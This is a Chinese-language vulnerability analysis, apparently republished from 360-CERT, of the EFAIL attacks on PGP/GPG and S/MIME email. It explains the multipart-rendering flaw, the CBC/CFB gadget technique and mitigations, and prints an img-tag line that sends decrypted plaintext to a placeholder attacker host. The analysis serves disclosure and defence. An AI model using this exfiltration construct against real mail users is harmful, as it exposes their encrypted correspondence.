如何进行EFAIL中的PGP/GPG和S/MIME漏洞分析,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。
0x00 漏洞背景
PGP/GPG 和 S/MIME是为电子邮件提供端到端安全的两个重要标准。
14日,欧洲安全研究员Sebastian Schinzel在twitter对 PGP/GPG 和 S/MIME 进行了漏洞预警,随后细节被公开。
360-CERT对漏洞持续关注,并对漏洞进行了详细分析。
0x01 漏洞详情
电子邮件客户端对邮件内容展示有多种方式,其中HTML渲染是最流行的一种。HTML支持网络资源的请求,例如<img/> 、<input/>、<script><scirpt />等。
本次EFAIL攻击就是借助的<img />标签的src属性,将解密后的原文发送到攻击者控制的远程服务器上,从而造成信息泄露。
漏洞根本的原因,是因为电子邮件客户端在处理multipart邮件的时候,对每一个multipart独立处理,而在显示的时候,会将多multipart邮件的渲染到同一个HTML里面。这样在邮件显示的时候,明文和解密后的原文将在一起显示,在这里会有安全隐患。
0x02 渗透攻击
在电子邮件中允许多段存在,如图所示:
其中multipart进行多part标识,protocol进行配置,同时使用boundary进行分割。
邮件客户端处理邮件时,会对每个part独立处理,但是最后将渲染到同一个HTML界面中。这样我们可以构造如下PoC来利用该特性:
可以看到,PoC中利用boundary将邮件分为了三部分,分别为Content-Type: text/html ,Content-Type: multipart/encrypted;protocol="application/pgp-encrypted"; ,和 Content-Type: text/html 。
第一部分,定义一个img标签,src中为攻击者接受邮件明文的远程主机。注意:在这里,src的引号和img的/>不闭合。
第二部分,为使用端到端加密后的邮件主体。
第三部分,对第一部分的标签进行闭合。
因为邮件客户端对每个multipart独立处理,在这个过程中会对加密邮件进行解密。当受害者打开邮件的时,进行解密渲染,最后该邮件将解析为:
<img src="http://x.x.x.x/邮件明文">
这样的内容在受害者电子邮件客户端显示的时候,会发起http请求,将加密的邮件原文发往攻击者主机。
0x03 S/MIM缺陷
如果S/MIME采用CBC或者CFB模式,那么将会受到EFAIL攻击。
以CBC为例,CBC模式里是分段明文,每段数据都是通过头部与上一段密文亦或进行加密的。如下图所示:
在(a)这里, 有已知数据IV,C0,P0, 整个揭秘过程会自动亦或后得到C2,C3的部分,也就是我们想要伸出的目标数据unknown plaintext。
攻击逻辑很简单,将已知的头部标记(明文段"Content-type")的密文部分篡改为img标签,把加密的密文包裹起来。这样在解析显示的时候会达到和第一种方法相同的攻击效果。
CFB模式和 CBC 类似,都必须要知道加密内容一部分明文,逐步替换插入 img 标签,最终达到攻击的目的。
0x04 漏洞演示
漏洞有许多攻击场景,例如中间人攻击。
攻击者作为中间人劫持到邮件流量,在加密的邮件点前后添加multipart。用户受到邮件打开后,明文内容将被img标签发送给攻击者。达到加密邮件泄露的效果:
0x05 漏洞影响面
漏洞影响包括window,linux, 安卓,IOS等在内的多平台多应用,具体影响范围如下图所示:
0x05 安全建议
漏洞虽然影响氛围广,但是利用难度大。
目前没有针对该漏洞的修复补丁,所以在漏洞修复之前,请广大用户立即禁用或卸载自动解密 PGP加密电子邮件的工具。不要阅读PGP加密的邮件。
关于如何进行EFAIL中的PGP/GPG和S/MIME漏洞分析问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注编程网行业资讯频道了解更多相关知识。